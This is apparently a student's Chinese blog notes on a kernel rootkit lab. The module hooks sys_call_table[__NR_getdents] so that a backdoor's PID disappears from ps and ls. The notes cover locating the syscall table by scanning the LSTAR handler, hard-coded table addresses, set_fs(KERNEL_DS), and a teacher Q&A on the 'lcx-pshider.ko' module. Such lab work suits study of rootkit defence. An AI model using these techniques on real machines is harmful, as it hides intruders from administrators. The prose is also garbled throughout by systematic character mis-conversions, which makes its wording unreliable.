... for (index = 0; index <= PAGE_SIZE; index += 1) { u8 *arr = (u8 *)lstar + index; if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) { return arr + 3; } } ...
PAGE_SIZE 在好多地方都有定義,我也不清楚具體引用的是哪個,在 arch/arc/include/uapi/asm/page.h 中定義以下:
#define PAGE_SIZE _BITUL(PAGE_SHIFT) /* Default 8K */
17 rdmsrl() 函數的做用是什麼?
u64 lstar; rdmsrl(MSR_LSTAR, lstar); // 將寄存器 MSR_LSTAR 中的內容讀到 lstar 中
18 loff_t 的定義
在 include/linux/types.h 中定義以下,參考:https://elixir.bootlin.com/linux/v4.10.17/source/include/linux/types.h#L45
#if defined(__GNUC__) typedef __kernel_loff_t loff_t; #endif
__kernel_loff_t 在 include/uapi/asm-generic/posix_types.h 中定義以下:
typedef long long __kernel_loff_t;
19 filp_open()函數,O_RDONLY,vsf_read(fp, buf1, 64, &pos)
在 include/linux/fs.h 中定義以下,參考:https://elixir.bootlin.com/linux/v4.10.17/source/include/linux/fs.h#L2309
extern struct file *filp_open(const char *, int, umode_t);
umod_t 在 include/linux/types.h 中定義以下,參考:https://elixir.bootlin.com/linux/v4.10.17/source/include/linux/types.h#L18
typedef unsigned short umode_t;
O_RDONLY 在 include/uapi/asm-generic/fcntl.h 中聲明以下,參考:https://elixir.bootlin.com/linux/v4.10.17/source/include/uapi/asm-generic/fcntl.h#L19
#define O_ACCMODE 00000003 #define O_RDONLY 00000000 #define O_WRONLY 00000001 #define O_RDWR 00000002
strcut file* filp_open(const char* filename, int open_mode, int mode);
該函數返回strcut file*結構指針,供後繼函數操做使用,該返回值用IS_ERR()來檢驗其有效性;
kernel中文件的讀寫操做可使用vfs_read()和vfs_write,vfs_read() vfs_write()兩函數的原形以下:
ssize_t vfs_read(struct file* filp, char __user* buffer, size_t len, loff_t* pos);
ssize_t vfs_write(struct file* filp, const char __user* buffer, size_t len, loff_t* pos);
1)注意這兩個函數的第2個參數buffer,前面都有__user修飾符,這就要求這兩個buffer指針都應該指向用戶空間的內存,若是對該參數傳遞kernel空間的指針,這兩個函數都會返回失敗-EFAULT。但在Kernel中,咱們通常不容易生成用戶空間的指針,或者不方便獨立使用用戶空間內存。
2)要使這兩個讀寫函數使用kernel空間的buffer指針也能正確工做,須要使用set_fs()函數或宏(set_fs()多是宏定義),若是爲函數,其原形如:void set_fs(mm_segment_t fs); 該函數的做用是改變kernel對內存地址檢查的處理方式,其實該函數的參數fs只有兩個取值:USER_DS,KERNEL_DS,分別表明用戶空間和內核空間,默認狀況下,kernel取值爲USER_DS,即對用戶空間地址檢查並作變換。那麼要在這種對內存地址作檢查變換的函數中使用內核空間地址,就須要使用set_fs(KERNEL_DS)進行設置。get_fs()通常也多是宏定義,它的做用是取得當前的設置,這兩個函數的通常用法爲:
mm_segment_t old_fs; old_fs = get_fs(); set_fs(KERNEL_DS); ...... //與內存有關的操做 set_fs(old_fs);
還有一些其它的內核函數也有用__user修飾的參數,在kernel中須要用kernel空間的內存代替時,均可以使用相似辦法。使用vfs_read()和vfs_write()最後須要注意的一點是最後的參數loff_t * pos,pos所指向的值要初始化,代表從文件的什麼地方開始讀寫。
int filp_close(struct file*filp, fl_owner_t id);
該函數的使用很簡單,第二個參數通常傳遞NULL值,也有用current->files做爲實參的;
參考:
20 mm_segment_t 的含義,get_fs() 什麼意思?set_fs(KERNEL_DS),set_fs(fs) 什麼意思?
在 arch/avr32/include/asm/uaccess.h 中定義以下:https://elixir.bootlin.com/linux/v4.10.17/source/arch/avr32/include/asm/uaccess.h#L19
1 typedef struct { 2 unsigned int is_user_space; 3 } mm_segment_t; 4 5 /* 6 * The fs value determines whether argument validity checking should be 7 * performed or not. If get_fs() == USER_DS, checking is performed, with 8 * get_fs() == KERNEL_DS, checking is bypassed. 9 * 10 * For historical reasons (Data Segment Register?), these macros are misnamed. 11 */ 12 #define MAKE_MM_SEG(s) ((mm_segment_t) { (s) }) 13 #define segment_eq(a, b) ((a).is_user_space == (b).is_user_space) 14 15 #define USER_ADDR_LIMIT 0x80000000 16 17 #define KERNEL_DS MAKE_MM_SEG(0) 18 #define USER_DS MAKE_MM_SEG(1) 19 20 #define get_ds() (KERNEL_DS) 21 22 static inline mm_segment_t get_fs(void) 23 { 24 return MAKE_MM_SEG(test_thread_flag(TIF_USERSPACE)); 25 } 26 27 static inline void set_fs(mm_segment_t s) 28 { 29 if (s.is_user_space) 30 set_thread_flag(TIF_USERSPACE); 31 else 32 clear_thread_flag(TIF_USERSPACE); 33 }
1)fs值決定是否應該進行參數有效性檢查執行與否。若是get_fs() == USER_DS,則執行檢測,若get_fs() == KERNEL_DS,則檢查被繞過。
2)系統調用的參數要求必須來自用戶空間,因此,當在內核中使用系統調用的時候,set_fs(get_ds())改變了用戶空間的限制,即擴大了用戶空間範圍,所以便可使用在內核中的參數了。
3)系統調用原本是提供給用戶空間的程序訪問的,因此對傳遞給它的參數(好比上面的buf),它默認會認爲來自用戶空間,在->write()函數中, 爲了保護內核空間,通常會用get_fs()獲得的值來和USER_DS進行比較,從而防止用戶空間程序「蓄意」破壞內核空間;
4)而如今要在內核空間使用系統調用,此時傳遞給->write()的參數地址就是內核空間的地址了,在USER_DS之上(USER_DS ~ KERNEL_DS),若是不作任何其它處理,在write()函數中,會認爲該地址超過了USER_DS範圍,因此會認爲是用戶空間的「蓄意破壞」,從而不容許進一步的執行。
參考: linux內核中操做文件的方法--使用get_fs()和set_fs(KERNEL_DS)
21 memmove()和memcpy()有什麼區別?
1)memmove():http://man7.org/linux/man-pages/man3/memmove.3.html
#include <string.h> void *memmove(void *dest, const void *src, size_t n); The memmove() function copies n bytes from memory area src to memory area dest. The memory areas may overlap: copying takes place as though the bytes in src are first copied into a temporary array that does not overlap src or dest, and the bytes are then copied from the temporary array to dest.
2)memcpy():http://man7.org/linux/man-pages/man3/memcpy.3.html
#include <string.h> void *memcpy(void *dest, const void *src, size_t n); The memcpy() function copies n bytes from memory area src to memory area dest. The memory areas must not overlap. Use memmove(3) if the memory areas do overlap.
22 dup()、dup2()函數
dup 和 dup2 均可以用來複制一個現存的文件描述符。常常用來從新定向進程的 STDIN,STDOUT,STDERR。定義在 <unistd.h>中;
1)int dup(int filedes) ;
函數返回一個新的描述符,這個新的描述符是傳給它的描述符的拷貝,若出錯則返回 -1。由dup返回的新文件描述符必定是當前可用文件描述符中的最小數值。這函數返回的新文件描述符與參數 filedes 共享同一個文件數據結構。
2)int dup2(int filedes, int filedes2);
一樣,函數返回一個新的文件描述符,若出錯則返回 -1。與 dup 不一樣的是,dup2 能夠用 filedes2 參數指定新描述符的數值。若是 filedes2 已經打開,則先將其關閉。如若 filedes 等於 filedes2 , 則 dup2 返回 filedes2 , 而不關閉它。一樣,返回的新文件描述符與參數 filedes 共享同一個文件數據結構。
參考:linux之dup和dup2函數解析:http://www.javashuo.com/article/p-khaexvhq-ko.html
23 爲何最後修改的是系統調用 sys_call_table[__NR_getdents]?
Linux 系統調用表中,getdents 的含義:讀取目錄項
在 arch/alpha/include/uapi/asm/unistd.h 中,__NR_getdents 定義以下,參考:https://elixir.bootlin.com/linux/v4.10.17/source/arch/alpha/include/uapi/asm/unistd.h#L266
#define __NR_getdents 305
查看 ls 命令源碼,發現其內部是調用了 readdir 函數,而 readdir 是 glibc 的封裝函數,glibc 內部調用的是 getdents 系統調用;
下面是 ls 源碼的一部分:
1 while( (direntp = readdir(dir)) != NULL) 2 { 3 if(-1 == stat(direntp->d_name,&st)) 4 continue; 5 if((!(flags & STAT_ALL_INFO)) && (direntp->d_name[0] == '.') ) 6 continue; 7 AddnNode(head,direntp->d_name,&st); 8 if(S_ISDIR(st.st_mode) && (flags&STAT_RECUR) && strcmp(".",direntp->d_name)&&strcmp( direntp->d_name,"..")) 9 { 10 nNode *newhead=NULL; 11 do_ls(direntp->d_name,flags,&newhead); 12 printf("%s :\n",direntp->d_name); 13 showfile(newhead,flags); 14 freeNode(newhead); 15 } 16 }
一樣,查看 ps 命令源碼,發現其內部也是調用了 glibc 的封裝函數 readdir,內部調用的也是 getdents 系統調用;
下面是 ps 源碼的一部分:
1 while((de = readdir(d)) != 0){ 2 if(isdigit(de->d_name[0])){ 3 int tid = atoi(de->d_name); 4 if(tid == pid) continue; 5 ps_line(pid, tid, namefilter); 6 } 7 }
因此在設置劫持函數時,直接替換 sys_call_table[__NR_getdents];
參考:
24 下面各個頭文件的做用
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <linux/fs.h>
#include <linux/string.h>
我覺得我一直會很幸運,直到我遇到了實驗3。在18.04上花了1天時間沒把SCT地址搞出來,內外查了很多資料,仍是沒磕出來。因爲時間比較緊,就沒繼續躺坑了,由於總感受這個坑 它又大又圓又深。老老實實裝了16.04.3的系統,按照那位學長的博客開始DIY。參考資料部分有一些我查過的資料,具體對應哪些問題我筆記上也沒記錄,因此你們要參考可能要費點時間(sorry~(┬_┬))
來看看這個又大又圓的坑,幾乎一樣的代碼(改了個靜態地址而已),在18.0四、16.04.3 上run的結果不同,因此那位學長博客中的代碼在18.04系統下是用不了的。測試代碼以下:
1 #include <linux/module.h> 2 #include <linux/kernel.h> 3 #include <linux/unistd.h> 4 5 static unsigned long **sys_call_table; 6 7 static int filter_init(void) { 8 printk("fitler_init\n"); 9 sys_call_table = (void *)0xffffffff81a00240; // Ubuntu 16.04.3 Kernel 4.10.0-28-generic 10 sys_call_table = (void *)0xffffffff81e001e0; // Ubuntu 18.04.2 Kernel 4.18.0-17-generic 11 if (sys_call_table) { 12 printk("sys_call_table = %p\n", sys_call_table); 13 } 14 return 0; 15 } 16 17 static void filter_exit(void) { 18 printk("fitler_exit\n"); 19 } 20 21 MODULE_LICENSE("GPL"); 22 module_init(filter_init); 23 module_exit(filter_exit);
在 Ubuntu 18.04.2 Kernel 4.18.0-17-generic 上run:
在 Ubuntu 16.04.3 Kernel 4.10.0-28-generic 上run:
我先用命令:sudo cat /boot/System.map-4.10.0-28-generic | grep sys_call_table 拿到SCT的地址(18.04對應System.map-4.18.0-17-generic),而後硬編碼到測試代碼中,發如今16.04.3下能夠正確輸出SCT地址,而在18.04下輸出的是個👻(鬼)。鬼知道 4.8.0-17 內核在內部動了什麼手腳,加了層保護?what ever, good luck
參考連接我已經在文章中的相關位置貼過了,這裏只是彙總的貼一遍(可能會有遺漏),連接中也包括躺18.04的坑時查的資料(我給忘了是哪幾個連接)。
Stackoverflow:
1 ps讀的是哪一個目錄下的文件?
/proc/
2 這個number是指什麼?什麼的長度?
if ((number = (*orig_getdents)(fd, dirp, count)) == 0) return 0;
我:指的是讀取到的<dirent>的長度,單位是字節;
老師:是哪一個地方的<dirent>?
我:是參數中文件描述符 fd 指向的文件的<dirent>;
老師:那在如今這個場景下,讀的是哪一個目錄下的<dirent>呢?
我:是/proc/目錄下的;
老師:OK;
3 根據你的實現,來模擬這樣一個場景:
1)運行backdoor程序,獲取其PID,這裏假設爲2054;
2)在任意一個目錄下建立一個文件/文件夾,命名爲:2054;
3)運行ls命令,看是否能看到這個文件/文件夾;
答案:看不到(注意,是基於我上面提供的代碼來回答的);
由於:
測試效果圖:
1)ps 查看到 backdoor 進程
2)建立了一個文件,文件名即爲:backdoor的PID,2423
3)執行 > sudo insmod lcx-pshider.ko 後:
4)在當前目錄下建立了目錄:proc/2423,發如今./proc/目錄下執行 ls 命令,看不到 2423 這個目錄,可是能夠經過 cd 命令進入該目錄;
5)一樣的,在/proc/目錄下也找不到 2423 這個進程的目錄:
轉載請說明出處😄 have a good time ~